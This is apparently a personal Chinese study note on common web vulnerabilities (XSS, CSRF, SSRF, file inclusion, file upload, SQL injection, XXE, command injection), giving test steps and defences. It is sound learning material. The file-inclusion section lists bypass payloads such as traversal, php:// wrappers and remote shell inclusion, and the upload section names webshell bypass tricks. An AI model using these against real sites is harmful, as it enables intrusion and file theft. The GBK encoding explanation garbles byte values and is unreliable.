一些漏洞总结
就几个模块整理了一下防范措施和使用策略,也不全,供自己参考的
一些逻辑漏洞
1.订单任意金额修改
2.验证码回传
预防:response数据内不包含验证码,验证方式主要采取后端验证
前端验证的话,需要加密
3.未进行登录凭证验证
预防:对敏感数据存在的接口和页面做cookie,ssid,token或者其他的验证
4.接口无限制枚举
某电商登录接口无验证导致撞库;某快递公司优惠券枚举
预防:在输入接口设置验证,如token,验证码等,并对token、验证码设定时间参数
注册界面接口不要返回太多敏感信息,以防黑客制作枚举字典
5.cookie设置存缺陷
cookie校验值过于简单;用户重置密码之后还可以用旧验证码登录;越权行为
预防:cookie设定多个验证; 用户的cookie数据加密,注意密钥管理; cookie中设定session参数
6.找回密码功能缺陷
单纯读取内存值作为用户凭证
电商系统下单、加购漏洞
暴力破解模块:
利用密码字典,使用穷举法猜解出用户口令
适用情况:一般都是在登录的表单里使用
测试流程:1.先自己尝试登录,观察一下
2.抓包 发送到intruder,载入字典 进行破解
(pikachu平台的测试:https://www.cnblogs.com/7-58/p/12311118.html)
防范措施:
<用 户>:要用含有特殊符号、数字长度尽可能多的作为密码
<开发者>:
l 设计安全的验证码(安全的流程+复杂又可用的图形)
l 对认证错误的提交进行计数给出限制登录次数
l 必要时,使用双因素认证
(http://app.myzaker.com/news/article.php?pk=5b0b669577ac6475a8686458)
XSS漏洞:(一种发生在前端浏览器端的漏洞)
形成原因:程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
测试流程:
1.在目标站点上找到输入点,比如查询接口,留言板等
2.输入一组“特殊字符(单引号,双引号,尖括号等)+唯一识别字符(字母数字组合)”,点击提交后,查看返回的页面源码,是否有对应的处理
3.通过搜索定位到唯一识别字符,结合唯一识别字符的前后语法确认是否可以构造执行js的条件(即构造闭合)
4.提交构造的脚本代码(以及各种绕过姿势),看是否成功执行,如果成功执行说明存在xss漏洞
注意点:1>一般查询接口容易出现反射性xss,留言板容易出现存储型xss
2>后台可能存在过滤措施,构造的script可能被过滤而无法生效 或者 浏览器环境限制了执行
3>通过变化不同的script,尝试绕过后台过滤机制
参照大佬的一些关于绕过的方法:https://www.secpulse.com/archives/57411.html
防范措施:
² 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
比如:输入点要求输入手机号,则只允许输入手机号格式的数字
² 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
比如:输出到html中进行html实体转义,输入到js里面进行js转义
使用http-only禁止javascript读取cookie值
浏览器和Web应用端采用相同的字符编码
CSRF(跨站请求伪造)
Cross-site request forgery 简称为“CSRF”
在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是窃取到了用户的权限,然后实施破坏
CSRF攻击前提条件:
1.用户需要处于登录状态(没有失效的cookie/未失效的身份认证)
2.漏洞位置必须出现在有价值的地方
3.需要诱导用户点击
如何确认一个网站存在CSRF漏洞:
1. 一个网站对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
比如:修改管理员账号使,不需要验证旧密码
对于敏感信息的修改并没有使用安全的token验证
2. 确认凭证的有效期
比如:虽然退出或者关闭了浏览器,但cookie仍然有效,或者session没有及时过期
3. 删除数据包中refer字段,看浏览器是否会拒绝执行
没有refer和token就判定存在CSRF漏洞
refer判断用户从哪个页面来;token防止被恶意利用(token是随机值,无法预测)
防范措施:
1.对敏感信息的操作增加安全的token;
(对关键操作增加token参数,token值必须随机,每次都不一样)
2.安全的会话管理,避免会话被利用
(不在客户端保存敏感信息,比如身份认证信息;
测试直接关闭;
设置会话过期机制,比如15分钟内无操作,则自动登录超时)
3.对敏感信息的操作增加安全的验证码;
(一般在登录时候,也可以在其他重要信息操作的表单<要考虑到可用性>)
4.对敏感信息的操作实施安全的逻辑流程,
(修改密码时,需要先校验旧密码;
敏感信息的修改使用post,而不是get;
通过http头部中的referer来限制页面)
SSRF(服务器端请求伪造)
由攻击者构造形成由服务器端发起请求的安全漏洞。借助服务器端的信任关系,利用外网的WEB服务器做跳板,攻击目标是从外网无法访问的内部系统。
成因:服务器提供了由从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,过滤不严格,相信用户输入,权限把控不严,导致了ssrf。
危害:
1.内外网的段口和服务扫描
2.主机本地敏感数据的读取
3.内外网主机应用程序漏洞的利用
4.内外网web站点漏洞的利用
SSRF漏洞验证方法:
1.抓包分析发送的请求是否由服务器发送
2.在页面源码中查找访问的资源地址,www.baidu.com/xxx.php?image=(地址)这种的就可能存在ssrf漏洞
防御:
1.禁用不需要的协议,仅允许http/https请求,防止file://,gopher://,ftp://等
2.过滤输入信息,判断用户输入是否是合理的url地址
3.禁止跳转
4.服务端需要认证交互,禁止非正常用户访问服务
5.设置url白名单或限制内网ip
Files Inclusion (文件包含漏洞)
多发生在web页面上,因为程序员设计代码时,为了调用方便会建立一些变量,当攻击者利用可控制的变量写入可执行代码路径,当攻击者越权运行此路径时,就触发了文件包含漏洞。
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
产生原因:
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
危害:
网页篡改;被用作钓鱼网站,被攻击者做跳板,如:在页面上写入xss,间接获取访问用户的cookie,执行非法的操作
绕过:
本地:../../../../../;绕过防御手段,直接查看本地文件,格式:协议://ip:port/路径?变量=攻击者输入的值
远程:?file=[http]/[https]/[ftp]://example.com/shell.txt
?file=php://input
?file=php://filter/convert.base64-encode/resource=index.php
?file=data://text/plain;base64,SSBsb6ggdHIUWB=
?file=http://127.0.0.1/path/xss.php?xss=phpcode<防火墙或者白名单不允许访问外网时,先在同一站点找一个xss漏洞,包含这个页面,就可以注入恶意代码了>
文件包含漏洞防范措施:
限制文件访问目录,如果权限把控不严,可能会导致目录遍历,只需要改变web网站的权限即可多为755 644权限
1.在功能设计上尽量不要将文件包含函数对应的文件放在前端进行选择和操作
2.过滤各种../../,http://,https://
3.配置php.ini配文件:
Allow_url_fopen = off
Allow_url_include = off
Magic_quotes_gpc = on
4.通过白名单策略,仅允许包含运行指定的文件,其他的都禁止
文件上传漏洞
程序员对用户上传的文件没有做严格的审核,导致用户可以上传任意类型的文件,使得攻击者可以越权访问服务器,上传可执行的恶意脚本代码,直接getshell
利用方式:(找到上传点;绕过防御措施;上传可执行文件;连接木马;拿到webshell)
解析漏洞,文件名改后缀,%00截断,图片马,文件名双写,fuzz
防御:
1.转义; 2. 重命名文件,让攻击者找不到上传的木马;
3. 权限的控制,去掉文件夹的执行权限,权限最小化控制
绕过方式:
前端js验证:burp改包
大小写; 双重后缀名;
SQL注入
https://www.cnblogs.com/7-58/p/12360440.html
https://www.cnblogs.com/7-58/p/12286731.html
sql二次注入及防御方式
二次注入:第一次进行数据库插入数据时,仅仅使用了addslashes或者借助get_magic_quotes_gpc对其中的特殊字符进行转义
在写入数据库时候还是保留原来的数据,
在将数据存储到数据库中之后,开发者就认为数据时可信的。下一次需要查询时,就直接从数据库中取出数据,没有进行进一步的校验和处理,会造成二次注入
二次注入需要具备的两个条件:
(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户
防御:
(1)对外部提交数据谨慎
(2)从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是甄别
gpc是什么?(宽字节注入有用到)
GPC是PHP的一种防注入手段,会给所有的对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()函数,如果数据中有",',\,NULL会在前面加上\达到转义的效果。
现在版本的PHP一般默认不开启,不过利用addslashes()函数来过滤数据依旧很普遍。首先什么是GBK编码绕过GPC呢?就是可以用如%DF来配合GPC或者 addslashes(),在编码转换存在问题的时候,就会生成一个乱码加上单引号',造成SQL注入安全。原理如下:
单引号'和反斜杠\都在ASCII表里,ASCII码分别是0x5C、0x27,当网页前端返回编码是GBK时,则单引号'的内码就是01011100,如果网页前端返回编码是UTF-8时,内码同样也是01011100。PHP的addslashes()会给单引号进行转义,在其前面加上反斜杠\,(假设后端PHP编码是GBK)在GBK编码下,内码是00100111,(假设后端PHP编码是UTF-8) 在UTF-8编码下,内码同样也是00100111,所以网络上很多人说只有前端是GBK才会有这个漏洞是错误的,因为不论前端后端是什么编码,单引号'或者反斜杠\内码都是一样的。
而这个漏洞的名称为什么叫GBK编码绕过GPC呢,很简单,当你哪里会用到你注入的这段污点参数,而那里用的编码是GBK,这个漏洞就会存在。这是GBK编码的特性决定的。因为GBK编码的定义是,当遇到一个字节其表示二进制数值转换成十进制后大于128就会默认这个字节和之后一个字节合并表示一个汉字,就把后面反斜杠\的内码吃掉了组成一个汉字
XXE(XML外部实体注入)
通过XML实体。‘system’关键词导致XML解析器可以从本地文件或者远程文件URL中读取数据。攻击者可通过XML实体传递构造的恶意值,使处理程序解析它。当引用外部实体时,通过构造的恶意内容,可导致加载恶意外部文件和代码、读取任意文件、执行系统命令、探测内网端口、攻击内网网站等
危害:
替换XML的DTD文件路径,将文件内容赋值给system前面的根元素中,实现读取根元素内容,造成xxe的任意文件读取漏洞
通过错误信息,可判断内网主机是否开启端口,造成内网主机端口被探测
服务器解析xml有两种方式。只要一次性调用巨量的定义,把服务器的内存消耗完,造成DDOS攻击
防御:
校验DTD中SYSTEM标识符定义的数据(一般也不大可能)
配置XML处理器使用本地静态的DTD,不允许XML中含有任何自己声明的DTD
命令执行
形成原因:应用有时候需要调用一些执行系统命令的函数(PHP中system\exec\shell_exec\passthru\popen\proc_popen等)允许用户输入,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令注入攻击。
防御:
设置白名单,只允许输入规定的语句
设置黑名单,过滤掉 | && $ & ; 、 ||
使用参数化查询
不要相信用户的输入
system() 执行外部程序,并且显示输出
exec() 执行一个外部程序 不输出结果,返回最后一行shell结果,所有结果可保存在一个返回的数组里
passthru() 执行外部程序,将运行结果原样地直接输出到标准输出设备上
popen()\proc_open() 执行一个命令,不会直接返回执行结果,而是返回一个文件指针
剩下的还是看pikachu实验的分类那吧